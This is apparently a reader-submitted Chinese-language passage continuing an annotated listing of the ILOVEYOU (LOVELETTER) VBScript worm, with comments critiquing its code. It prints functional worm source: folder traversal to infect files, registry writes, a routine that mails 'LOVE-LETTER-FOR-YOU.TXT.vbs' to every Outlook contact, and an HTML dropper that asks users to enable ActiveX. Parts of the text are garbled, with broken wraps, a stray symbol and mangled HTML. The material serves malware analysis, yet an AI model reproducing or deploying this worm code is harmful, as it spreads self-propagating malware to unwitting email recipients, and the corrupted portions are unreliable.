来稿有奖
---------------------------------------------------------------
接上面的
scriptini.WriteLine "n3=}"
' 注意,这样做的结果是,MIRC也能够传染病毒。
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
' 遍历文件夹
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
' 修改注册表(创建键值)
' 这个程序似乎是微软的示范程序。
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
' 这个程序似乎也是微软的示范程序。(WSH示范,在Windows文件夹)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
' 判断文件是否存在
' 纯粹从技术角度讲,这段程序写的不怎么样。
' 不用写这么长就能够实现相同的功能
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
' 判断文件夹是否存在
' 和上一段程序一样臭。
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
' 通过电子邮件扩散
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
' 病毒的局限:只支持Outlook,而Outlook Express则不支持。
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"♂
ad)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
' 病毒得名的原因
' 见到这样的邮件,肯定是病毒。
' 头脑正常的人恐怕不会这样直白的。
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from m
e."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead,1,
"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.Addre
ssEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.Addre
ssEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
' 从技术角度说,这段程序写得很漂亮,原因在于充分地利用了 Outlook 的资源
。
' 值得编写程序的借鉴。
' 程序中间的_符号是连接线,所以注释写在这里。
' 程序中无效语句很多,浪费了不少空间。
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="
1<html><head><title>LOVELETTER - HTML<?-?TITLE><meta -="" content="@-@BAROK" loveletter@-@="" name="@-@Gene" rator@-@="" vbs=""/>"&vbcrlf& _
2"<meta 2000@-@="" ?-?="" @g="" content="@-@spyder" group="" [email protected]="" manila,="" march="" name="@-@Author@-@" philippines="" rammersoft=""/>"&vbcrlf& _
3
4"<meta but="" content="@-@simple" go="" i="" is="" name="@-@Description@-@" od...@-@="" think="" this=""/>"&vbcrlf& _
5"<?-?HEAD><body "&vbcrlf&="" "onkeydown="@[email protected]=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YO" _="" bgcolor="@-@#FF9933@-@" bgproperties="@-@fixed@-@" onmouseout="@[email protected]=#-#main#-#;window.open(#-#LO" u.htm#-#,#-#main#-#)@-@="" ve-letter-for-you.htm#-#,#-#main#-#)@-@="">"&vbcrlf& _
6"<center><p>This HTML file need ActiveX Control<?-?p><p>To Enable to r
7ead this HTML file<br/>\- Please press #-#YES#-# button to Enable Active
8X<?-?p>"&vbcrlf& _
9"<?-?CENTER><marquee bgcolor="@-@yellow@-@" loop="@-@infinite@-@">\--------
10\--z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
11"<?-?BODY><?-?HTML>"&vbcrlf& _
12"<script language="@-@JScript@-@"></script></marquee></p></p></center></body></title></head></html>